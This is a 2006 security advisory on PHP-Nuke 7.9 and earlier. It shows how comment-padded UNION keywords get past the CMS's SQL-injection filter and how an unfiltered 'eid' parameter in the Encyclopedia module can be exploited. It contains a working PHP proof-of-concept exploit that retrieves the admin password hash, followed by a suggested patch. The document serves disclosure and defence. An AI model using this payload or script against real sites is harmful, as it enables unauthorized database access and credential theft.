-==PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection vulnerabilities==-

[paisterist.nst@xxxxxxxxx]

/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST] - Advisory 27 - 2006-10-22
--------------------------------------------------------
Program: PHP Nuke
Homepage: http://www.php.net
Vulnerable Versions: PHP Nuke <= 7.9
Risk: High!
Impact: Critical Risk

-==PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection 
vulnerabilities==-
---------------------------------------------------------

- Description
---------------------------------------------------------
PHP-Nuke is a news automated system specially designed to be used in Intranets 
and Internet. The Administrator has total control of his web site, registered 
users, and he will have in the hand a powerful assembly of tools to maintain an 
active and 100% interactive web site using databases.

- Tested
---------------------------------------------------------
localhost & many sites

- Vulnerability Description
---------------------------------------------------------

The most important and critical vulnerability is in the code designed to filter 
the POST inputs to protect the script against
 SQL Injections.


==[ mainfile.php 143-146 ]==========================
[...]
if (stripos_clone($postString,'%20union%20') OR 
stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') 
OR stripos_clone($postString_64,'%20union%20') OR 
stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' 
union ') OR stripos_clone($postString_64,'+union+')) {
header("Location: index.php");
die();
}
[...]
==[ end mainfile.php ]==============================

The protection is very good... but we can bypass it by using something like 
'/**/UNION ' or ' UNION/**/' ;)

Also i found a SQL Injection vulnerability in the Encyclopedia module. The 
"eid" variable isn't filtered at any moment, so if
 we bypass the sql injection protection we can execute arbitrary sql commands. 
With a simple UNION statement we get the 
md5 hash of the admin password.

Here is the real life Proof of Concept exploit.

==Real Proof of Concept exploit==
<?
/*

Neo Security Team - Exploit made by Paisterist on 2006-10-22
http://www.neosecurityteam.net

*/

$host="localhost";
$path="/phpnuke/";
$prefix="nuke_";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$data="query=fooaa&eid=foo'/**/UNION SELECT pwd as title FROM $prefix_authors 
WHERE '1'='1";

if ($fp) {
    $p="POST /phpnuke/modules.php?name=Encyclopedia&file=search HTTP/1.0\r\n";
    $p.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, 
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, 
application/x-shockwave-flash, */*\r\n";
    $p.="Referer: 
http://localhost/phpnuke/modules.php?name=Encyclopedia&file=search\r\n";;
    $p.="Accept-Language: es-ar\r\n";
    $p.="Content-Type: application/x-www-form-urlencoded\r\n";
    $p.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
    $p.="Host: localhost\r\n";
    $p.="Content-Length: ".strlen($data)."\r\n";
    $p.="Pragma: no-cache\r\n";
    $p.="Connection: keep-alive\r\n\r\n";
    $p.=$data;
    
    fwrite($fp, $p);
    
    while (!feof($fp)) {
        $content .= fread($fp, 4096);
    }

    preg_match("/([a-zA-Z0-9]{32})/", $content, $matches);

    print_r($matches);
}
?>
==Real Proof of Concept exploit==

Whit this PoC code i get the md5 hash of the first admin (God) of the 
nuke_authors table.

- How to fix it? More information?
--------------------------------------------------------

You can found a patch on http://www.neosecurityteam.net/foro/

Also, you can modify the line 143 of mainfile.php, adding one more protection 
like:

==[ mainfile.php old line (143) ]==========================
[...]
if (stripos_clone($postString,'%20union%20') OR 
stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') 
OR stripos_clone($postString_64,'%20union%20') OR 
stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' 
union ') OR stripos_clone($postString_64,'+union+')) {
}
[...]
==[ end mainfile.php ]=====================================

==[ mainfile.php new line (143) ]==========================
[...]
if (stripos_clone($postString,'%20union%20') OR 
stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union ') 
OR stripos_clone($postString_64,'%20union%20') OR 
stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,' 
union ') OR stripos_clone($postString_64,'+union+') OR 
stripos_clone($postString_64, 
'*/UNION ') OR stripos_clone($postString_64, ' UNION/*')) {
}
[...]
==[ end mainfile.php ]=====================================

That's a momentary solution to the problem. I recommend to download the PHP 
Nuke 8.0 version in the next days... it is not 
free at the moment.

- References
--------------------------------------------------------
http://www.neosecurityteam.net/index.php?action=advisories&id=27

- Credits
--------------------------------------------------------
Anti SQL Injection protection bypass by Paisterist -> paisterist.nst [at] gmail 
[dot] com
SQL Injection vulnerability in Encyclopedia module discovered by Paisterist -> 
paisterist.nst [at] gmail [dot] com
Proof of Concept exploit by Paisterist -> paisterist.nst [at] gmail [dot] com

[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/


- Greets
--------------------------------------------------------
HaCkZaTaN
K4P0
Daemon21
Link
0m3gA_x
LINUX
nitrous
m0rpheus
nikyt0x
KingMetal
Knightmare

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/* EOF */